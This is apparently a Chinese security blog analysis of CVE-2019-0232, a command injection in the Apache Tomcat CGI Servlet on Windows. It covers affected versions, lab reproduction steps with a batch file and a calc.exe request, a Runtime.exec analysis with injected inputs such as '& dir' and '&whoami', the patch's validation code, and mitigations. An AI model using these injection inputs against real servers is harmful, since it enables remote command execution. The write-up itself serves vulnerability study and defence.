0x01 漏洞简介

2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1到9.0.17,8.5.0到8.5.39和7.0.0到7.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

0x02 漏洞影响版本

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

0x03 漏洞复现

实验所需环境:

VMware 虚拟机 windows 7 (x64)
JAVA SE (JDK 1.8.0_191)
Apache-tomcat-8.5.39 (https://archive.apache.org/) (port :8080)

1. 需要在web.xml取消掉注释两项修改如下

image-20200916154530606

image-20200916154544940

2.接着在conf/context.xml 中的<Context>添加privileged="true"语句

image-20200916154609618

3. apache-tomcat-8.5.39webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入

@echo off
echo Content-Type: text/plain
echo.
set off=%~1
%off%

image-20200916154702816

现在就可以启动了,已经有漏洞环境的环境了双击startup.bat后访问192.168.163.135:8080/cgi-bin/hello.bat?c:/windows/system32/calc.exe成功弹出计算器

image-20200916154959925

image-20200916154926330

至此漏洞复现完成

0x04 漏洞分析

漏洞相关的代码在 tomcat\\java\\org\\apache\\catalina\\servlets\\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。 这个漏洞是因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的。下面以一个简单的case来说明这个问题,在Windows下创建arg.bat:

rem arg.bat
echo %*

并执行如下的Java代码

String [] cmd={"arg.bat", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

在Windows下会输出 argdir 命令运行后的结果。同样的,用类似的脚本在Linux环境下测试:

# arg.sh
for key in "$@"
do
    echo ''$@'' $key
done
String [] cmd={"arg.sh", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);

此时的输出为

$@ arg
$@ &
$@ dir

导致这种输出的原因是在JDK的实现中 Runtime.getRuntime().exec 实际调用了 ProcessBuilder ,而后 ProcessBuilder 调用 ProcessImpl使用系统调用 vfork ,把所有参数直接传递至 execve

strace -F -e vfork,execve java Main 跟踪可以看到上面的Java代码在Linux中调用为

execve("arg.sh", ["arg.sh", "arg", "&", "dir"], [/* 23 vars */])

而如果跟踪类似的PHP代码 system(''a.sh arg & dir''); ,得到的结果为

execve("/bin/sh",  ["sh", "-c", "a.sh arg & dir"], [/* 23 vars */])

所以Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess ,会将参数合并成字符串,作为 lpComandLine 传入 CreateProcess 。程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 传至 argv。在Windows中,当 CreateProcess 中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成 cmd.exe /c "arg.bat & dir",而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。

除此之外,Windows在处理参数方面还有一个特性,如果这里只加上简单的转义还是可能被绕过, 例如 dir "\\"&whoami" 在Linux中是安全的,而在Windows会执行命令。

这是因为Windows在处理命令行参数时,会将 " 中的内容拷贝为下一个参数,直到命令行结束或者遇到下一个 " ,但是对 \\" 的处理有误。同样用 arg.bat 做测试,可以发现这里只输出了 \\ 。因此在Java中调用批处理或者cmd文件时,需要做合适的参数检查才能避免漏洞出现。

0x05 修复方式

开发者在 patch 中增加了 cmdLineArgumentsDecoded 参数,这个参数用来校验传入的命令行参数,如果传入的命令行参数不符合规定的模式,则不执行。

校验写在 setupFromRequest 函数中:

String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
        !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
    if (log.isDebugEnabled()) {
        log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
                decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
    }
    return false;
}

不通过时,会将 CGIEnvironmentvalid 参数设为 false ,在之后的处理函数中会直接跳过执行。

if (cgiEnv.isValid()) {
    CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
                                  cgiEnv.getEnvironment(),
                                  cgiEnv.getWorkingDirectory(),
                                  cgiEnv.getParameters());

    if ("POST".equals(req.getMethod())) {
        cgi.setInput(req.getInputStream());
    }
    cgi.setResponse(res);
    cgi.run();
} else {
    res.sendError(404);
}

0x06 修复建议

  1. 使用更新版本的Apache Tomcat。这里需要注意的是,虽然在9.0.18就修复了这个漏洞,但这个更新是并没有通过候选版本的投票,所以虽然9.0.18没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本。
  2. 关闭enableCmdLineArguments参数
最后修改:2021 年 02 月 10 日 08 : 44 PM
如果觉得我的文章对你有用,请随意赞赏